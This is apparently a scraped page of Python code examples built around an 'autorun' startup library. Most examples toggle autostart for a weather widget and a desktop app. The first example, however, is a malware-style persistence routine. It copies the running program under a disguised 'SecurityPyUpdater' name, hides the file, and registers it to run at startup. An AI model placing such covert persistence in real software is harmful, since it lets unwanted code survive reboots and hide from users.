示例#1
0
def persistence_install() -> bool:
    """Install persistence.\n"""
    # TODO: test on Linux
    # TODO: test on Windows
    if not autorun.exists('SecurityPyUpdater'):
        path = os.path.abspath(sys.argv[0])
        if platform == 'windows':
            target_to_autostart = str(
                Path.home()) + os.path.normcase('/demo/sec_upd.exe')
        else:
            target_to_autostart = str(Path.home()) + '/.Xsec_upd'
        if not os.path.isfile(target_to_autostart):
            shutil.copyfile(path, target_to_autostart)
        if platform == 'windows':
            # Try to hide file adding hidden attribute to it
            try:
                subprocess.check_call(["attrib", "+H", target_to_autostart])
            except Exception as exception:
                print(exception)
                return False
        else:
            # Give executable permission to file
            try:
                subprocess.Popen('chmod 700 ' + target_to_autostart,
                                 shell=True,
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE,
                                 stdin=subprocess.PIPE)
            except Exception as exception:
                print(exception)
                return False
        autorun.add('SecurityPyUpdater', target_to_autostart)
        return True
    return False
 def on_autoRun_triggered(self, checked):
     if checked:
         autorun.add("HeartbeatRollCall", sys.argv[0])
     else:
         autorun.remove("HeartbeatRollCall")
     print('exists("test_xxx")---------',
           autorun.exists("HeartbeatRollCall"))
示例#3
0
 def save_settings(self, widget):
     if state_lock:
         return
     global gw_config_set
     value = None
     w_type = widget.get_name()
     w_name = gtk.Buildable.get_name(widget)
     w_name = w_name.split('_')
     name = '_'.join(w_name[1:])
     if w_type == 'GtkSpinButton':
         if name in ('opacity'):
             value = widget.get_value()
         else:
             value = int(widget.get_value())
     else:
         value = widget.get_active()
     if value != None:
         gw_config_set[name] = value
     Save_Config()
     drawing_area_set.redraw(False, False, load_config = True)
     if name == 'delay_start_time':
         if WIN:
             autorun.add("gis-weather", os.path.join(work_path, 'gis-weather.exe'))
         else:
             autorun.add("gis-weather", os.path.join(work_path, 'gis-weather.py'), gw_config_set['delay_start_time'])
示例#4
0
 def set_autorun(self, widget):
     if state_lock:
         return
     if widget.get_active() == True:
         if WIN:
             autorun.add("gis-weather", os.path.join(work_path, 'gis-weather.exe'))
         else:
             autorun.add("gis-weather", os.path.join(work_path, 'gis-weather.py'), gw_config_set['delay_start_time'])
     else:
         autorun.remove("gis-weather")
    def __init__(self, parent=None):
        """
        Constructor

        @param parent reference to the parent widget (QWidget)
        """
        super(MainWindow, self).__init__(parent)
        self.setupUi(self)
        self.readSettings()

        self.manager = QNetworkAccessManager()
        self.checkUpdate()

        autorun.add("HeartbeatRollCall", sys.argv[0])